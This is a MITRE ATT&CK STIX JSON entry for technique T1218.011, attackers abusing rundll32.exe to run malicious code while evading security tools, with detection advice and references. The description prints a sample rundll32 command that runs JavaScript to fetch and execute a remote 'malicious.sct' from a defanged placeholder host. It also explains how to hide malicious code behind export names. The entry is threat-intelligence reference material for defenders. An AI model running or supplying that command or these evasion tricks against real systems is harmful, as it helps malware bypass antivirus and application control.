cti-ATT-CK-v13.1/enterprise-attack/attack-pattern/attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5.json

{
    "type": "bundle",
    "id": "bundle--8805934e-d602-45b0-85ae-b60b3c44b08d",
    "spec_version": "2.0",
    "objects": [
        {
            "modified": "2023-04-21T12:25:32.096Z",
            "name": "Rundll32",
            "description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>).\n\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_contributors": [
                "Gareth Phillips, Seek Ltd.",
                "Casey Smith",
                "Ricardo Dias",
                "James_inthe_box, Me"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\n\nCommand arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "File: File Metadata",
                "Module: Module Load",
                "Command: Command Execution",
                "Process: Process Creation"
            ],
            "x_mitre_defense_bypassed": [
                "Digital Certificate Validation",
                "Application control",
                "Anti-virus"
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "created": "2020-01-23T18:03:46.248Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/011",
                    "external_id": "T1218.011"
                },
                {
                    "source_name": "rundll32.exe defense evasion",
                    "description": "Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022.",
                    "url": "https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/"
                },
                {
                    "source_name": "Attackify Rundll32.exe Obscurity",
                    "description": "Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.",
                    "url": "https://www.attackify.com/blog/rundll32_execution_order/"
                },
                {
                    "source_name": "This is Security Command Line Confusion",
                    "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.",
                    "url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/"
                },
                {
                    "source_name": "Github NoRunDll",
                    "description": "gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.",
                    "url": "https://github.com/gtworek/PSBits/tree/master/NoRunDll"
                },
                {
                    "source_name": "Trend Micro CPL",
                    "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_attack_spec_version": "3.1.0",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        }
    ]
}